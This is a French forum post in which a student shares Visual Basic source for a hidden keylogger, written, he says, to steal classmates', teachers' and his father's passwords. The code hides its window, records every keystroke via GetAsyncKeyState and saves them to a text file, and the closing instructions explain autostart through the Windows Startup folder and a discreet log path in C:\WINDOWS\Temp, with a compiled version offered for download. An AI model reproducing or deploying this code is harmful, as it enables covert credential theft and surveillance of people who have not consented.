Comment connaitre les mots de passe d'une façon la plus simpliste du monde....

Télécharger le projet
Commenter

Description

Slt à tous et à toutes (pourquoi pas. hein... lol).
Voila je suis au lycée, (en TSI), et nous disposons de login et de mots de passe pour se connecter sur le réseau. Pratique pour les profs, ils peuvent savoir ce que vous avez fait sur le net etc....). Pour pas me faire piquer il me fallait donc connaitre les pass d'autres personnes ( voir ceux des profs... lol.). J'ai donc créé ce piti programme qui enregistre les touches préssées dès la mise en route du Pc, jusqu'à son extinction, puis les enregistres dans un txt (su'il faut préalablement créé.). De plus mon père c'était amusé à mettre un mot de passe sur internet à la maison.... lol. double usage.

Source / Exemple : 


'**************************************************************
'*               PRESENTATION DU PROGRAMME                    *
'* Voici de quoi faire sauter bon nombre de mots de passe     *
'* puisque ce programme permet d'enregistrer les touchess     *
'* du clavier qui ont été pressées. Pour les restituer dans un *
'* fichier "txt"                                              *
'* Il se lance automatiquement lors de l'ouverture de Windows *
'*               MERCI QUI ??? DJ PSYKO                        *
'**************************************************************
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
Form1.Hide 'cache le programme pour ne pas se faire demasquer
                  '(seulement visible dans le gestionnaire des tâches)
Text1.Top = 0
Text1.Left = 0
Text1.Height = Height - 356
Text1.Width = Width - 80
'pour purger le buffeur du clavier
Timer1_Timer
Text1.Text = ""
End Sub

Private Sub Form_Unload(Cancel As Integer)
'Afin de sauver les touches préssées dans un fichier .txt lors de la femeture
Dim vari As Integer
    vari = FreeFile
    contenu = Form1.Text1.Text
' adresse du fichier a sauver
    chemin = "le chemin du txt"
'ouverture du fichier
    Open chemin For Output As #vari
' enregistrement du texte
    Print #vari, contenu
'Fermeture du fichier
    Close vari
End Sub

Private Sub Timer1_Timer()
'------------------------
'   Petit programme pour derouter
'   Les mots de passes....
'------------------------

For a = 0 To 256 'on scanne toute les touche du clavier
If GetAsyncKeyState(a) <> 0 Then 'regarde si la touche a ete appuillée
    Select Case a
        Case 0:
        Case 1: Text1.Text = "Bouton gauche de la souris" & vbCrLf & Text1.Text ' vbKeyLButton
        Case 2: Text1.Text = "Bouton droit de la souris" & vbCrLf & Text1.Text ' vbKeyRButton
        Case 3: 'je ne sais pas ce qu'elle signifie car elle est toujour appuiller
        'Case 3: Text1.Text = "Touche ANNUL" & vbCrLf & Text1.Text ' vbKeyCancel
        Case 4: Text1.Text = "Bouton central de la souris" & vbCrLf & Text1.Text ' vbKeyMButton
        Case 8: Text1.Text = "Touche RET.ARR" & vbCrLf & Text1.Text ' vbKeyBack
        Case 9: Text1.Text = "Touche TAB" & vbCrLf & Text1.Text ' vbKeyTab
        Case 12: Text1.Text = "Touche EFFACER" & vbCrLf & Text1.Text ' vbKeyClear
        Case 13: Text1.Text = "Touche ENTRÉE" & vbCrLf & Text1.Text ' vbKeyReturn
        Case 16: Text1.Text = "Touche MAJ" & vbCrLf & Text1.Text ' vbKeyShift
        Case 17: Text1.Text = "Touche CTRL" & vbCrLf & Text1.Text ' vbKeyControl
        Case 18: Text1.Text = "Touche MENU" & vbCrLf & Text1.Text ' vbKeyMenu
        Case 19: Text1.Text = "Touche PAUSE" & vbCrLf & Text1.Text ' vbKeyPause
        Case 20: Text1.Text = "Touche VERR.MAJ" & vbCrLf & Text1.Text ' vbKeyCapital
        Case 27: Text1.Text = "Touche ÉCHAP." & vbCrLf & Text1.Text ' vbKeyEscape
        Case 32: Text1.Text = "Touche ESPACE" & vbCrLf & Text1.Text ' vbKeySpace
        Case 33: Text1.Text = "Touche PG PRÉC." & vbCrLf & Text1.Text ' vbKeyPageUp
        Case 34: Text1.Text = "Touche PG SUIV." & vbCrLf & Text1.Text ' vbKeyPageDown
        Case 35: Text1.Text = "Touche FIN" & vbCrLf & Text1.Text ' vbKeyEnd
        Case 36: Text1.Text = "Touche ORIGINE" & vbCrLf & Text1.Text ' vbKeyHome
        Case 37: Text1.Text = "Touche FLÈCHE VERS LA GAUCHE " & vbCrLf & Text1.Text ' vbKeyLeft
        Case 38: Text1.Text = "Touche FLÈCHE VERS LE HAUT " & vbCrLf & Text1.Text ' vbKeyUp
        Case 39: Text1.Text = "Touche FLÈCHE VERS LA DROITE " & vbCrLf & Text1.Text ' vbKeyRight
        Case 40: Text1.Text = "Touche FLÈCHE VERS LE BAS " & vbCrLf & Text1.Text ' vbKeyDown
        Case 41: Text1.Text = "Touche SELECT" & vbCrLf & Text1.Text ' vbKeySelect
        Case 42: Text1.Text = "Touche IMPR.ÉCRAN" & vbCrLf & Text1.Text ' vbKeyPrint
        Case 43: Text1.Text = "Touche EXÉCUTE" & vbCrLf & Text1.Text ' vbKeyExecute
        Case 44: Text1.Text = "Touche INSTANTANÉ" & vbCrLf & Text1.Text ' vbKeySnapshot
        Case 45: Text1.Text = "Touche INSER" & vbCrLf & Text1.Text ' vbKeyInsert
        Case 46: Text1.Text = "Touche SUPPR." & vbCrLf & Text1.Text ' vbKeyDelete
        Case 47: Text1.Text = "Touche AIDE" & vbCrLf & Text1.Text ' vbKeyHelp
        Case 48: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKey0
        Case 49: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKey1
        Case 50: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKey2
        Case 51: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKey3
        Case 52: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKey4
        Case 53: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKey5
        Case 54: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKey6
        Case 55: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKey7
        Case 56: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKey8
        Case 57: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKey9
        Case 65: Text1.Text = "Touche A" & vbCrLf & Text1.Text ' vbKeyA
        Case 66: Text1.Text = "Touche B" & vbCrLf & Text1.Text ' vbKeyB
        Case 67: Text1.Text = "Touche C" & vbCrLf & Text1.Text ' vbKeyC
        Case 68: Text1.Text = "Touche D" & vbCrLf & Text1.Text ' vbKeyD
        Case 69: Text1.Text = "Touche E" & vbCrLf & Text1.Text ' vbKeyE
        Case 70: Text1.Text = "Touche F" & vbCrLf & Text1.Text ' vbKeyF
        Case 71: Text1.Text = "Touche G" & vbCrLf & Text1.Text ' vbKeyG
        Case 72: Text1.Text = "Touche H" & vbCrLf & Text1.Text ' vbKeyH
        Case 73: Text1.Text = "Touche I" & vbCrLf & Text1.Text ' vbKeyI
        Case 74: Text1.Text = "Touche J" & vbCrLf & Text1.Text ' vbKeyJ
        Case 75: Text1.Text = "Touche K" & vbCrLf & Text1.Text ' vbKeyK
        Case 76: Text1.Text = "Touche L" & vbCrLf & Text1.Text ' vbKeyL
        Case 77: Text1.Text = "Touche M" & vbCrLf & Text1.Text ' vbKeyM
        Case 78: Text1.Text = "Touche N" & vbCrLf & Text1.Text ' vbKeyN
        Case 79: Text1.Text = "Touche O" & vbCrLf & Text1.Text ' vbKeyO
        Case 80: Text1.Text = "Touche P" & vbCrLf & Text1.Text ' vbKeyP
        Case 81: Text1.Text = "Touche Q" & vbCrLf & Text1.Text ' vbKeyQ
        Case 82: Text1.Text = "Touche R" & vbCrLf & Text1.Text ' vbKeyR
        Case 83: Text1.Text = "Touche S" & vbCrLf & Text1.Text ' vbKeyS
        Case 84: Text1.Text = "Touche T" & vbCrLf & Text1.Text ' vbKeyT
        Case 85: Text1.Text = "Touche U" & vbCrLf & Text1.Text ' vbKeyU
        Case 86: Text1.Text = "Touche V" & vbCrLf & Text1.Text ' vbKeyV
        Case 87: Text1.Text = "Touche W" & vbCrLf & Text1.Text ' vbKeyW
        Case 88: Text1.Text = "Touche X" & vbCrLf & Text1.Text ' vbKeyX
        Case 89: Text1.Text = "Touche Y" & vbCrLf & Text1.Text ' vbKeyY
        Case 90: Text1.Text = "Touche Z" & vbCrLf & Text1.Text '  vbKeyZ
        Case 91: Text1.Text = "Touche Windows gauche" & vbCrLf & Text1.Text '
        Case 92: Text1.Text = "Touche contextuel" & vbCrLf & Text1.Text '
        Case 93: Text1.Text = "Touche Windows droite" & vbCrLf & Text1.Text '
        Case 96: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKeyNumpad0
        Case 97: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKeyNumpad1
        Case 98: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKeyNumpad2
        Case 99: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKeyNumpad3
        Case 100: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKeyNumpad4
        Case 101: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKeyNumpad5
        Case 102: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKeyNumpad6
        Case 103: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKeyNumpad7
        Case 104: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKeyNumpad8
        Case 105: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKeyNumpad9
        Case 106: Text1.Text = "Touche SIGNE MULTIPLICATION (*)" & vbCrLf & Text1.Text ' vbKeyMultiply
        Case 107: Text1.Text = "Touche SIGNE PLUS (+)" & vbCrLf & Text1.Text ' vbKeyAdd
        Case 108: Text1.Text = "Touche ENTRÉE (pavé numérique)" & vbCrLf & Text1.Text ' vbKeySeparator
        Case 109: Text1.Text = "Touche SIGNE MOINS (-)" & vbCrLf & Text1.Text ' vbKeySubtract
        Case 110: Text1.Text = "Touche POINT DÉCIMAL (.)" & vbCrLf & Text1.Text ' vbKeyDecimal
        Case 111: Text1.Text = "Touche SIGNE DIVISION (/)" & vbCrLf & Text1.Text ' vbKeyDivide
        Case 112: Text1.Text = "Touche F1" & vbCrLf & Text1.Text ' vbKeyF1
        Case 113: Text1.Text = "Touche F2" & vbCrLf & Text1.Text ' vbKeyF2
        Case 114: Text1.Text = "Touche F3" & vbCrLf & Text1.Text ' vbKeyF3
        Case 115: Text1.Text = "Touche F4" & vbCrLf & Text1.Text ' vbKeyF4
        Case 116: Text1.Text = "Touche F5" & vbCrLf & Text1.Text ' vbKeyF5
        Case 117: Text1.Text = "Touche F6" & vbCrLf & Text1.Text ' vbKeyF6
        Case 118: Text1.Text = "Touche F7" & vbCrLf & Text1.Text ' vbKeyF7
        Case 119: Text1.Text = "Touche F8" & vbCrLf & Text1.Text ' vbKeyF8
        Case 120: Text1.Text = "Touche F9" & vbCrLf & Text1.Text ' vbKeyF9
        Case 121: Text1.Text = "Touche F10" & vbCrLf & Text1.Text ' vbKeyF10
        Case 122: Text1.Text = "Touche F11" & vbCrLf & Text1.Text ' vbKeyF11
        Case 123: Text1.Text = "Touche F12" & vbCrLf & Text1.Text ' vbKeyF12
        Case 124: Text1.Text = "Touche F13" & vbCrLf & Text1.Text ' vbKeyF13
        Case 125: Text1.Text = "Touche F14" & vbCrLf & Text1.Text ' vbKeyF14
        Case 126: Text1.Text = "Touche F15" & vbCrLf & Text1.Text ' vbKeyF15
        Case 127: Text1.Text = "Touche F16" & vbCrLf & Text1.Text ' vbKeyF16
        Case 144: Text1.Text = "Touche VERR.NUM" & vbCrLf & Text1.Text ' vbKeyNumlock
        Case 145: Text1.Text = "Touche Arrêt défil" & vbCrLf & Text1.Text '
        Case 186: Text1.Text = "Touche $ ou £" & vbCrLf & Text1.Text '
        Case 187: Text1.Text = "Touche + ou =" & vbCrLf & Text1.Text '
        Case 188: Text1.Text = "Touche , ou ?" & vbCrLf & Text1.Text '
        Case 190: Text1.Text = "Touche ; ou ." & vbCrLf & Text1.Text '
        Case 191: Text1.Text = "Touche : ou /" & vbCrLf & Text1.Text '
        Case 192: Text1.Text = "Touche ù ou %" & vbCrLf & Text1.Text '
        Case 219: Text1.Text = "Touche ° ou )" & vbCrLf & Text1.Text '
        Case 220: Text1.Text = "Touche * ou µ" & vbCrLf & Text1.Text '
        Case 221: Text1.Text = "Touche ^ ou s" & vbCrLf & Text1.Text '
        Case 222: Text1.Text = "Touche ²" & vbCrLf & Text1.Text '
        Case 223: Text1.Text = "Touche < ou >" & vbCrLf & Text1.Text '
        Case 226: Text1.Text = "Touche ! ou §" & vbCrLf & Text1.Text '
        Case Else: Text1.Text = "Touche inconnue : " & a & vbCrLf & Text1.Text 'Touche inconnue
    End Select
End If
Next
End Sub
'amuser vous bien les mecton.

Conclusion :


Ok bon voila les dernieres recommandations afin que ce dernier fonctionne comme un "timer" (cf comme une horloge lol.) :
- mettre l'exe dans le menu "Démarrage" (demarrer\programme\démarrage)
- bien crée le fichier TXT dans le chemin (qui est à préciser ci-dessus)
- Je pense que c'est tout.
Enfin pour les flemards, j'ai compilé le programme, tout est dans le zip. il ne vous reste plus qu'à crée le txt dans le repertoire suivant : C:\WINDOWS\Temp\logger.txt et de le nommer logger.txt
( j'ai mis ce chemin par soucis de discretion.)

Normalement ya pas de bugs. Si vous en avez contactez moi : levequeis@wanadoo.fr

A+ et dites moi ce que vous en penser.
Bonne prog.
Télécharger le projet

Codes Sources

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (psykopatt)